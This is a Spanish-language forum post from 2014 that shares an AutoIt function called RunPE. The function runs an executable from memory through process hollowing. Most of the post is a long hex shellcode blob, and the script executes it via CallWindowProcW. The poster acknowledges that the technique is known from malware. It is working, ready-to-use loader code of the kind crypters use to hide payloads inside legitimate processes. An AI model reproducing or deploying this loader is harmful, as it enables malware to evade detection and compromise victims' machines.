Ejecutar un exe desde la Memoria
Publicado: 11 Mar 2014, 21:11
Bueno Hace tiempo se hablo de esto en el foro Aqui bueno digamos que es un remplazo a esa función de trancexx. en malware es conocido como RunPE. A la vez es un bonito ejemplo de de implementas codigo maquina en un array de bytes. (no necesariamente usado para malware)
El código lo hice hace tiempo no recuerdo.
Saludos
El código lo hice hace tiempo no recuerdo.
Código: Seleccionar todo
#cs -------------------------------------------------------
AutoIt Version: 3.3.8.1
Traducido Por..........: Dany
Agradecimientos: hamavb & iCodeInVB6
Script Function...: RunPE-ShellCode "Correr Ejecutable En memoria"
Uso..............: RunPE(Path,$archivobinario)
#ce -------------------------------------------------------
Func RunPE($path,$filebin)
local $ASM = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
$ASM &= "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
$ASM &= "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
$ASM &= "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
$ASM &= "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
$ASM &= "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
$ASM &= "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
$ASM &= "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
Local $BufferASM = DllStructCreate("byte[" & BinaryLen($ASM) & "]")
Local $binBuffer=DllStructCreate("byte[" & BinaryLen($filebin) & "]")
DllStructSetData($BufferASM, 1, $ASM)
DllStructSetData($binBuffer, 1, $filebin)
Local $Ret = DllCall("user32.dll", "int", "CallWindowProcW", _
"ptr", DllStructGetPtr($BufferASM), _
"wstr", ($Path), _
"ptr", DllStructGetPtr($binBuffer), _
"int", 0, _
"int", 0)
EndFuncSaludos
